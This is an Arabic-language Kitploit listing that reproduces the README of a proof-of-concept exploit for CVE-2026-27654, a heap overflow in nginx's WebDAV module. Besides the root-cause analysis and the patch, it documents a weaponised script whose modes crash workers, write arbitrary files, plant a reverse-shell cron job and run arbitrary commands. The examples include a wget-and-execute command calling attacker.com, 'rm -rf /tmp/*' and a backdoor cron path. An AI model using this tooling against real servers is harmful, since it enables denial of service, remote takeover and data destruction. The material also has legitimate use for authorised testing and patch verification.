Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-27654-PoC — إثبات المفهوم والتحليل الفني للثغرة CVE-2026-27654، وهي ثغرة تجاوز سعة المخزن المؤقت في الكومة في وحدة NGINX HTTP WebDAV، بما في ذلك تحليل السبب الجذري وإعادة الإنتاج وسبل التخفيف. | Kitploit
أدوات/GitHubGitHub/debajyoti0-0/cve-2026-27654-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولاتاستغلال الملفات الثنائية
GitHubdebajyoti0-0/cve-2026-27654-poc

CVE-2026-27654-PoC

إثبات المفهوم والتحليل الفني للثغرة CVE-2026-27654، وهي ثغرة تجاوز سعة المخزن المؤقت في الكومة في وحدة NGINX HTTP WebDAV، بما في ذلك تحليل السبب الجذري وإعادة الإنتاج وسبل التخفيف.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ 26 أياملم تتم المراجعة بعد

CVE‑2026‑27654 – إثبات مفهوم لمعالجة مسار DAV Alias في وحدة ngx_http_dav_module في nginx

يوفر هذا المستودع استغلالاً لإثبات المفهوم (PoC) لثغرة CVE‑2026‑27654، وهي ثغرة تجاوز سعة الكومة (heap overflow) في وحدة ngx_http_dav_module الخاصة بـ nginx. ينشأ الخلل من تدفق سفلي لحجم size_t عند معالجة طلبات MOVE/COPY تحتوي على ترويسات Destination مصاغة بعناية ومواقع مبنية على alias.

⚠️ إخلاء مسؤولية: هذه الأداة مخصّصة للبحث والاختبار الأمني المصرّح به فقط. استخدمها فقط ضد الأنظمة التي تملكها أو التي لديك إذن صريح باختبارها. لا يتحمّل المؤلفون أي مسؤولية عن سوء الاستخدام.

شعار CVE-2026-27654

🔥 نظرة عامة على الثغرة

CVE-2026-27654 هي ثغرة تجاوز سعة الكومة (heap overflow) قابلة للتفعيل عن بُعد في وحدة NGINX HTTP WebDAV، ناتجة عن تدفق سفلي لعدد صحيح (integer underflow) في الدالة ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). تحدث الثغرة عندما يُشتق طول URI الخاص بالوجهة بطرح بادئة الموقع المكوّنة من مسار ترويسة Destination. ونظراً لأن كلا المعاملين من النوع size_t، فإن مسار وجهة أقصر يتسبب في التفاف ناتج الطرح إلى قيمة غير موقّعة قريبة من الحد الأقصى.

يُستخدم الطول الملفوف لاحقاً كوسيط الحجم في memcpy()، مما يؤدي إلى كتابة خارج حدود الكومة تُفسد الذاكرة وتُنهي عملية NGINX العاملة (worker) فوراً. يمكن لمهاجم بعيد غير مصادق أن يثير هذه الحالة بشكل موثوق باستخدام طلب MOVE أو COPY واحد مصاغ بعناية يستهدف موقع WebDAV مرتبطاً بـ alias. وبينما تعيد عملية NGINX الرئيسية تلقائياً إنشاء العمال الفاشلين، يمكن للطلبات المتكررة إبقاء الخدمة في حلقة انهيار مستمرة للعمال، مما يؤدي إلى حرمان مستمر من الخدمة (Denial-of-Service (DoS)).

يؤكد AddressSanitizer (ASan) وجود الثغرة عبر خطأ negative-size-param في memcpy()، متتبعاً مسار التنفيذ من ngx_http_dav_copy_move_handler() إلى ngx_http_core_module.c. تؤثر الثغرة على NGINX 0.5.13–1.28.2 (المستقر) و1.29.0–1.29.6 (الخط الرئيسي) عند البناء باستخدام --with-http_dav_module وتكوينها باستخدام توجيه alias. تمت معالجة المشكلة في NGINX 1.28.3 و1.29.7 (الالتزام ab4b5b8، PR #1210) عبر التحقق السليم من طول مسار الوجهة المحسوب قبل عمليات الذاكرة.

✨ الميزات

  • اختيار الوضع التفاعلي – اختر من بين أربعة أوضاع تشغيل في وقت التشغيل (crash، write-file، cron-shell، cron-cmd) عبر قائمة مرقّمة واضحة.
  • تفعيل الانهيار – إرسال طلب MOVE/COPY القياسي الذي يثير التدفق السفلي لحجم size_t ويُنهي العامل المعرّض للثغرة.
  • وضع كتابة الملف (write-file) – رفع محتوى عشوائي إلى أي موقع على نظام الملفات (يتطلب بيئة مختبرية بإعداد alias قابل للكتابة).
  • تسليم قشرة عكسية عبر cron (cron-shell) – نشر وظيفة cron لقشرة عكسية في /etc/cron.d/، مع مطالبات تفاعلية لإدخال LHOST/LPORT وتذكير ببدء تشغيل المستمع.
  • تسليم أمر عبر cron (cron-cmd) – تنفيذ أمر مخصص عبر cron؛ يقبل إما إدخالاً تفاعلياً أو علامة --cron-command.
  • فحص الثغرة (--check) – وضع غير تفاعلي يشغّل اختبار الانهيار ويطبع نتيجة واضحة [VULNERABLE] / [NOT VULNERABLE]، ثم يخرج برمز 0 أو 1.

📦 التثبيت

root@kitploit:~
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt

🚀 الاستخدام

الوضع التفاعلي (قائمة)

root@kitploit:~
python exploit.py --target 192.168.1.100:8080

ستظهر لك قائمة مرقّمة ويُطلب منك اختيار وضع.

فحص الثغرة (غير تفاعلي)

root@kitploit:~
python exploit.py --target 192.168.1.100:8080 --check

يفرض هذا تشغيل وضع crash، وينفّذ الاستغلال، ويطبع [VULNERABLE] أو [NOT VULNERABLE] قبل الخروج برمز 0 أو 1.

مع وكيل HTTP

root@kitploit:~
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080

ستُرسل جميع طلبات HTTP عبر الوكيل المحدد (مفيد لتصحيح الأخطاء باستخدام Burp).

⚙️ مرجع العلامات

ملاحظة: معظم العلامات اختيارية. سيطالب السكربت بالوسائط الإلزامية الناقصة (مثل --lhost/--lport لوضع cron-shell) إذا لم يتم توفيرها.

🧪 الأوضاع بالتفصيل

1. crash

يرسل طلب MOVE (أو COPY) المصاغ الذي يثير التدفق السفلي لحجم size_t. سينهار الخادم على مستوى عملية العامل. إذا كانت العملية الرئيسية مكوّنة بشكل صحيح، فستعيد إنشاء عامل جديد.

مثال:

root@kitploit:~
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)

2. write-file

يرفع ملفاً إلى موقع عشوائي على نظام الملفات. يعمل هذا فقط إذا كان موقع DAV مدعوماً بـ alias يشير إلى دليل قابل للكتابة وكان مسار Destination مصاغاً للهروب من جذر DAV. استخدمه فقط في بيئات المختبرات المصرّح بها.

مثال:

root@kitploit:~
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)

3. cron-shell

يضع وظيفة cron لقشرة عكسية في /etc/cron.d/.
عند اختيار هذا الوضع، سيطلب منك السكربت:

  • LHOST – عنوان IP للاستماع الخاص بك
  • LPORT – منفذ الاستماع الخاص بك

بعدها سيعرض أمر مستمع netcat وينتظر منك الضغط على Enter بمجرد تشغيل المستمع.

مثال (معبأ مسبقاً):

root@kitploit:~
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)

4. cron-cmd

يضع أمراً مخصصاً (يُقدَّم تفاعلياً أو عبر --cron-command) في /etc/cron.d/. هذا مفيد لتنفيذ أوامر نظام عشوائية.

مثال (تفاعلي):

root@kitploit:~
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted

مثال (معبأ مسبقاً):

root@kitploit:~
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)

📝 سير عمل مثال (قشرة عكسية)

root@kitploit:~
$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 3

Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444

[*] Please start your netcat listener in a new terminal:
    nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.

📝 سير عمل مثال (تنفيذ أوامر)

يوضح هذا المثال استخدام cron-cmd لتنفيذ أمر على النظام المستهدف دون الحاجة إلى مستمع.

الوضع التفاعلي

root@kitploit:~
$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 4

Enter the command to run in cron (--cron-command): id > /tmp/owned

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.

معبأ مسبقاً (غير تفاعلي)

root@kitploit:~
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)

سيستخدم السكربت تلقائياً علامة --cron-command المقدمة ويتخطى المطالبة التفاعلية، مما يجعله مناسباً للأتمتة.

🛠️ بناء بيئة اختبار معرّضة للثغرة

لاختبار إثبات المفهوم هذا في بيئة خاضعة للتحكم، يمكنك بناء nginx من المصدر باستخدام --with-http_dav_module وتكوين موقع باستخدام alias وdav_methods. يتضمن المستودع إعداد Docker نموذجياً (قريباً).

المراجع

  • https://nginx.org/en/security_advisories.html
  • https://github.com/nginx/nginx/commit/ab4b5b8
  • https://github.com/nginx/nginx/pull/1210

📜 الترخيص

هذا المشروع مرخّص بموجب رخصة GNU v3.0 – راجع ملف LICENSE للتفاصيل.

🤝 المساهمة

نرحب بالإبلاغ عن المشكلات (Issues) وطلبات السحب (Pull Requests). يرجى التأكد من التزام مساهماتك بنفس إرشادات الاستخدام الأخلاقية.

تذكّر: احصل دائماً على التصريح المناسب قبل اختبار أي أداة أمنية. كن أخلاقياً!

تنزيل الأداة
  • دعم وكيل HTTP (--proxy) – توجيه جميع الطلبات عبر وكيل HTTP/HTTPS (مثل Burp Suite أو mitmproxy) لتصحيح الأخطاء أو فحص حركة المرور.
  • معالجة ذكية للملفات – يتحقق مما إذا كان ملف التفعيل موجوداً بالفعل (عبر HEAD/GET) ويتخطى طلب PUT إذا كان موجوداً، متجنباً الرفع غير الضروري.
  • خيارات حمولة مرنة – توفير الحمولات عبر --payload-file (ثنائي)، أو --payload-text (نص حرفي)، أو استخدام محتوى الاختبار الافتراضي.
  • وسائط سطر أوامر شاملة – ضبط دقيق لكل جوانب الاستغلال: --destination-path، --alias-len، --escape-depth، --method، --location-prefix، والمزيد.
  • احتياطي متين – إذا لم تكن مكتبة requests مثبتة، يلجأ السكربت إلى وحدة http.client القياسية في بايثون (دعم الوكيل معطّل في الوضع الاحتياطي).
  • Flagالوصفمثال
    --target HOST:PORTمثيل nginx الهدف (الافتراضي: 127.0.0.1:8080).--target 10.0.0.5:80
    --verbose, -vعرض استجابات HTTP الكاملة (الترويسات والمحتوى).-v
    --no-putتخطي طلب PUT الأولي (افتراض أن ملف التفعيل موجود بالفعل). مفيد للاختبار المتكرر.--no-put
    --location-prefixبادئة موقع DAV (الافتراضي: /uploads/). يجب أن تطابق موقع alias في إعداد nginx.--location-prefix /dav/
    --remote-nameاسم الملف المصدر البعيد الموجود داخل موقع DAV (الافتراضي: triggerfile.txt).--remote-name test.txt
    --method {MOVE,COPY}طريقة DAV المستخدمة لطلب الوجهة (الافتراضي: MOVE).--method COPY
    --destination-pathمسار URI الوجهة – يُستخدم في حسابات الانهيار أو كمسار الملف النهائي في أوضاع التسليم.--destination-path /etc/cron.d/backdoor
    --alias-lenطول سلسلة alias المكوّنة (يُستخدم لعرض حسابات الانهيار، الافتراضي 13).--alias-len 20
    --escape-depthعدد مكونات المسار ../ اللازمة للهروب من جذر DAV (الافتراضي 1).--escape-depth 3
    --payload-fileملف محلي يُرفع كحمولة. يتجاوز محتوى الاختبار الافتراضي.--payload-file ./shell.php
    --payload-textحمولة نصية حرفية لوضع write-file.--payload-text "<?php phpinfo(); ?>"
    --lhostعنوان استدعاء القشرة العكسية (لوضع cron-shell). إذا حُذف، يطلب السكربت بشكل تفاعلي.--lhost 192.168.1.50
    --lportمنفذ استدعاء القشرة العكسية (لوضع cron-shell).--lport 4444
    --cron-commandالأمر المراد تنفيذه عبر cron (لوضع cron-cmd). إذا حُذف، يطلب السكربت بشكل تفاعلي.--cron-command "rm -rf /tmp/*"
    --waitثوانٍ الانتظار بعد تسليم cron لتنفيذ الوظيفة (الافتراضي 65).--wait 120
    --checkتشغيل فحص الثغرة (اختبار الانهيار، غير تفاعلي). يطبع VULNERABLE/NOT VULNERABLE ويخرج برمز 0/1.--check
    --proxy PROXY_URLعنوان وكيل HTTP/HTTPS (مثل http://127.0.0.1:8080). يتطلب مكتبة requests.--proxy http://127.0.0.1:8080